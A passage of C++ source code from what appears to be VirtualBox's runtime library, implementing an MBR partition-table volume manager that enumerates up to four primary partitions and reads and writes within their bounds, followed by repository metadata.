PRTDVMFMTINTERNAL pThis = hVolMgrFmt;
pThis->pDisk = NULL;
pThis->cPartitions = 0;
memset(&pThis->abMbr[0], 0, sizeof(pThis->abMbr));
RTMemFree(pThis);
}
static DECLCALLBACK(int) rtDvmFmtMbrQueryRangeUse(RTDVMFMT hVolMgrFmt,
uint64_t off, uint64_t cbRange,
bool *pfUsed)
{
PRTDVMFMTINTERNAL pThis = hVolMgrFmt;
NOREF(cbRange);
/* MBR uses the first sector only. */
if (off < 512)
*pfUsed = true;
else
*pfUsed = false;
return VINF_SUCCESS;
}
static DECLCALLBACK(uint32_t) rtDvmFmtMbrGetValidVolumes(RTDVMFMT hVolMgrFmt)
{
PRTDVMFMTINTERNAL pThis = hVolMgrFmt;
return pThis->cPartitions;
}
static DECLCALLBACK(uint32_t) rtDvmFmtMbrGetMaxVolumes(RTDVMFMT hVolMgrFmt)
{
NOREF(hVolMgrFmt);
return 4; /** @todo: Add support for EBR? */
}
/**
* Creates a new volume.
*
* @returns IPRT status code.
* @param pThis The MBR volume manager data.
* @param pbMbrEntry The raw MBR entry data.
* @param idx The index in the partition table.
* @param phVolFmt Where to store the volume data on success.
*/
static int rtDvmFmtMbrVolumeCreate(PRTDVMFMTINTERNAL pThis, uint8_t *pbMbrEntry,
uint32_t idx, PRTDVMVOLUMEFMT phVolFmt)
{
int rc = VINF_SUCCESS;
PRTDVMVOLUMEFMTINTERNAL pVol = (PRTDVMVOLUMEFMTINTERNAL)RTMemAllocZ(sizeof(RTDVMVOLUMEFMTINTERNAL));
if (pVol)
{
pVol->pVolMgr = pThis;
pVol->idxEntry = idx;
pVol->pbMbrEntry = pbMbrEntry;
pVol->offStart = *(uint32_t *)&pbMbrEntry[0x08] * pThis->pDisk->cbSector;
pVol->cbVolume = *(uint32_t *)&pbMbrEntry[0x0c] * pThis->pDisk->cbSector;
*phVolFmt = pVol;
}
else
rc = VERR_NO_MEMORY;
return rc;
}
static DECLCALLBACK(int) rtDvmFmtMbrQueryFirstVolume(RTDVMFMT hVolMgrFmt, PRTDVMVOLUMEFMT phVolFmt)
{
int rc = VINF_SUCCESS;
PRTDVMFMTINTERNAL pThis = hVolMgrFmt;
if (pThis->cPartitions != 0)
{
uint8_t *pbMbrEntry = &pThis->abMbr[446];
/* Search for the first non empty entry. */
for (unsigned i = 0; i < 4; i++)
{
if (pbMbrEntry[0x04] != 0x00)
{
rc = rtDvmFmtMbrVolumeCreate(pThis, pbMbrEntry, i, phVolFmt);
break;
}
pbMbrEntry += 16;
}
}
else
rc = VERR_DVM_MAP_EMPTY;
return rc;
}
static DECLCALLBACK(int) rtDvmFmtMbrQueryNextVolume(RTDVMFMT hVolMgrFmt, RTDVMVOLUMEFMT hVolFmt, PRTDVMVOLUMEFMT phVolFmtNext)
{
int rc = VERR_DVM_MAP_NO_VOLUME;
PRTDVMFMTINTERNAL pThis = hVolMgrFmt;
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
uint8_t *pbMbrEntry = pVol->pbMbrEntry + 16;
for (unsigned i = pVol->idxEntry + 1; i < 4; i++)
{
if (pbMbrEntry[0x04] != 0x00)
{
rc = rtDvmFmtMbrVolumeCreate(pThis, pbMbrEntry, i, phVolFmtNext);
break;
}
pbMbrEntry += 16;
}
return rc;
}
static DECLCALLBACK(void) rtDvmFmtMbrVolumeClose(RTDVMVOLUMEFMT hVolFmt)
{
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
pVol->pVolMgr = NULL;
pVol->offStart = 0;
pVol->cbVolume = 0;
pVol->pbMbrEntry = NULL;
RTMemFree(pVol);
}
static DECLCALLBACK(uint64_t) rtDvmFmtMbrVolumeGetSize(RTDVMVOLUMEFMT hVolFmt)
{
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
return pVol->cbVolume;
}
static DECLCALLBACK(int) rtDvmFmtMbrVolumeQueryName(RTDVMVOLUMEFMT hVolFmt, char **ppszVolName)
{
NOREF(hVolFmt); NOREF(ppszVolName);
return VERR_NOT_SUPPORTED;
}
static DECLCALLBACK(RTDVMVOLTYPE) rtDvmFmtMbrVolumeGetType(RTDVMVOLUMEFMT hVolFmt)
{
RTDVMVOLTYPE enmVolType = RTDVMVOLTYPE_UNKNOWN;
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
for (unsigned i = 0; i < RT_ELEMENTS(g_aFs2DvmVolTypes); i++)
if (pVol->pbMbrEntry[0x04] == g_aFs2DvmVolTypes[i].bFsId)
{
enmVolType = g_aFs2DvmVolTypes[i].enmVolType;
break;
}
return enmVolType;
}
static DECLCALLBACK(uint64_t) rtDvmFmtMbrVolumeGetFlags(RTDVMVOLUMEFMT hVolFmt)
{
uint64_t fFlags = 0;
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
if (pVol->pbMbrEntry[0x00] & 0x80)
fFlags |= DVMVOLUME_FLAGS_BOOTABLE | DVMVOLUME_FLAGS_ACTIVE;
return fFlags;
}
DECLCALLBACK(bool) rtDvmFmtMbrVolumeIsRangeIntersecting(RTDVMVOLUMEFMT hVolFmt,
uint64_t offStart, size_t cbRange,
uint64_t *poffVol,
uint64_t *pcbIntersect)
{
bool fIntersect = false;
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
if (RTDVM_RANGE_IS_INTERSECTING(pVol->offStart, pVol->cbVolume, offStart))
{
fIntersect = true;
*poffVol = offStart - pVol->offStart;
*pcbIntersect = RT_MIN(cbRange, pVol->offStart + pVol->cbVolume - offStart);
}
return fIntersect;
}
static DECLCALLBACK(int) rtDvmFmtMbrVolumeRead(RTDVMVOLUMEFMT hVolFmt, uint64_t off, void *pvBuf, size_t cbRead)
{
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
AssertReturn(off + cbRead <= pVol->cbVolume, VERR_INVALID_PARAMETER);
return rtDvmDiskRead(pVol->pVolMgr->pDisk, pVol->offStart + off, pvBuf, cbRead);
}
static DECLCALLBACK(int) rtDvmFmtMbrVolumeWrite(RTDVMVOLUMEFMT hVolFmt, uint64_t off, const void *pvBuf, size_t cbWrite)
{
PRTDVMVOLUMEFMTINTERNAL pVol = hVolFmt;
AssertReturn(off + cbWrite <= pVol->cbVolume, VERR_INVALID_PARAMETER);
return rtDvmDiskWrite(pVol->pVolMgr->pDisk, pVol->offStart + off, pvBuf, cbWrite);
}
RTDVMFMTOPS g_rtDvmFmtMbr =
{
/* pcszFmt */
"MBR",
/* pfnProbe */
rtDvmFmtMbrProbe,
/* pfnOpen */
rtDvmFmtMbrOpen,
/* pfnInitialize */
rtDvmFmtMbrInitialize,
/* pfnClose */
rtDvmFmtMbrClose,
/* pfnQueryRangeUse */
rtDvmFmtMbrQueryRangeUse,
/* pfnGetValidVolumes */
rtDvmFmtMbrGetValidVolumes,
/* pfnGetMaxVolumes */
rtDvmFmtMbrGetMaxVolumes,
/* pfnQueryFirstVolume */
rtDvmFmtMbrQueryFirstVolume,
/* pfnQueryNextVolume */
rtDvmFmtMbrQueryNextVolume,
/* pfnVolumeClose */
rtDvmFmtMbrVolumeClose,
/* pfnVolumeGetSize */
rtDvmFmtMbrVolumeGetSize,
/* pfnVolumeQueryName */
rtDvmFmtMbrVolumeQueryName,
/* pfnVolumeGetType */
rtDvmFmtMbrVolumeGetType,
/* pfnVolumeGetFlags */
rtDvmFmtMbrVolumeGetFlags,
/* pfnVOlumeIsRangeIntersecting */
rtDvmFmtMbrVolumeIsRangeIntersecting,
/* pfnVolumeRead */
rtDvmFmtMbrVolumeRead,
/* pfnVolumeWrite */
rtDvmFmtMbrVolumeWrite
};
|
carmark/vbox
|
src/VBox/Runtime/common/dvm/dvmmbr.cpp
|
C++
|
gpl-2.0
| 13,219
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.